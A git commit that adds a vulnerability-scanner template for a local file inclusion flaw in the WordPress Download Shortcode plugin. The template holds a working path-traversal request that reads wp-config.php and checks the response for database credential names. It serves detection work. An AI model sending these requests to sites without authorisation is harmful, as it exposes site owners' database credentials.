Create shortcode-lfi.yaml
parent
96c42781c3
commit
a10ff8f997
|
@ -0,0 +1,30 @@
|
|||
id: shortcode-lfi
|
||||
|
||||
info:
|
||||
name: WordPress Plugin Download Shortcode Local File Inclusion (0.2.3)
|
||||
author: dhiyaneshDK
|
||||
severity: high
|
||||
description: WordPress Plugin Download Shortcode is prone to a local file inclusion vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. WordPress Plugin Download Shortcode version 0.2.3 is vulnerable; prior versions may also be affected.
|
||||
reference:
|
||||
- https://packetstormsecurity.com/files/128024/WordPress-ShortCode-1.1-Local-File-Inclusion.html
|
||||
tags: wordpress,wp-plugin,lfi
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- '{{BaseURL}}/wp/wp-content/force-download.php?file=../wp-config.php'
|
||||
- '{{BaseURL}}/wp-content/force-download.php?file=../wp-config.php'
|
||||
|
||||
stop-at-first-match: true
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "DB_NAME"
|
||||
- "DB_PASSWORD"
|
||||
part: body
|
||||
condition: and
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
Loading…
Reference in New Issue